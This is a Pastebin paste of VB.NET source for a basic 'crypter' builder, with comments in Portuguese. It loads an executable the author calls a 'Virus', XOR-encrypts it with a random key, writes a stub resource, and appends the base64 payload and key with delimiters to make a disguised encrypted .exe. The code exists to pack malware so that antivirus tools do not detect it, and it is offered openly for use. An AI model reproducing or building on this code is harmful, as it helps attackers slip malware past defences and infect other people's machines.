diele12250

Untitled

Oct 6th, 2019
42
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.99 KB | None | 0 0
  1. Public Class Form1
  2. '---------------------------------------
  3. 'Gerador basico de Crypter VB.NET v1.0 -
  4. 'Codigos Criados Por Krawk -
  5. 'Skype live:Krawkreverser -
  6. 'Email Krawkreverser@gmail.com -
  7. '---------------------------------------
  8. Public Function Random_Xor_Key(ByVal longitud As Integer) As String
  9. Dim cadena As String = "SKYTXRHOAFLRKTXFSUFEYNTTEXRNMHAOPDNSHTNLYREUNDCMSNNYPPTNWKUCDXQPKLNFBYUUPLSTSNHHPLYOBNHSRJYXPAHPPGYL"
  10. Dim r As New Random
  11. Dim l As Integer
  12. Dim sb As New System.Text.StringBuilder
  13. For i = 1 To longitud
  14. l = r.Next(0, 62)
  15. sb.Append(cadena.Substring(l, 1))
  16. Next
  17. Return sb.ToString()
  18. End Function
  19. Public Function Xor_Encrypt(ByVal up As Byte()) As Byte()
  20. Dim CL As Byte() = System.Text.Encoding.ASCII.GetBytes(TextBox2.Text)
  21. Randomize()
  22. Dim FP As Integer = Int((255 - 0 + 1) * Rnd()) + 1
  23. Dim BA(up.Length) As Byte
  24. Dim KA As Integer
  25. For MP As Integer = 0 To up.Length - 1
  26. BA(MP) += (up(MP) Xor CL(KA)) Xor FP
  27. If KA = TextBox2.Text.Length - 1 Then KA = 0 Else KA = KA + 1
  28. Next
  29. BA(up.Length) = 112 Xor FP
  30. Return BA
  31. End Function
  32. Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  33. TextBox2.Text = Random_Xor_Key(30)
  34. End Sub
  35. Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  36. Dim open As New OpenFileDialog
  37. With open
  38. .Filter = "Exe|*.exe"
  39. .Title = "Procure seu ""Virus"""
  40. If .ShowDialog = Windows.Forms.DialogResult.OK Then
  41. TextBox1.Text = open.FileName
  42. End If
  43. End With
  44. End Sub
  45. Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
  46. TextBox2.Text = Random_Xor_Key(30)
  47. End Sub
  48. Const Senha = "KrawkBasicGen"
  49. Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
  50. Try
  51. Dim save As SaveFileDialog = New SaveFileDialog
  52. Dim dir As String
  53. Using save
  54. save.Filter = "Encryptado |*.exe"
  55. save.Title = "Salve seu arquivo cryptografado"
  56. save.FileName = "Criptografado"
  57. If (save.ShowDialog = DialogResult.OK) Then
  58. dir = save.FileName
  59. Else
  60. Return
  61. End If
  62. End Using
  63. Dim Encoder As Byte() = Xor_Encrypt(IO.File.ReadAllBytes(TextBox1.Text))
  64. IO.File.WriteAllBytes(dir, My.Resources.Stub)
  65. IO.File.AppendAllText(dir, Senha & Convert.ToBase64String(Encoder) & Senha & TextBox2.Text & Senha)
  66. MsgBox("Sucesso !", MsgBoxStyle.Information, "Crypter")
  67. Catch ex As Exception
  68. MsgBox(ex, MsgBoxStyle.Critical, "Crypter")
  69. End Try
  70. End Sub
  71. End Class
Add Comment
Please, Sign In to add comment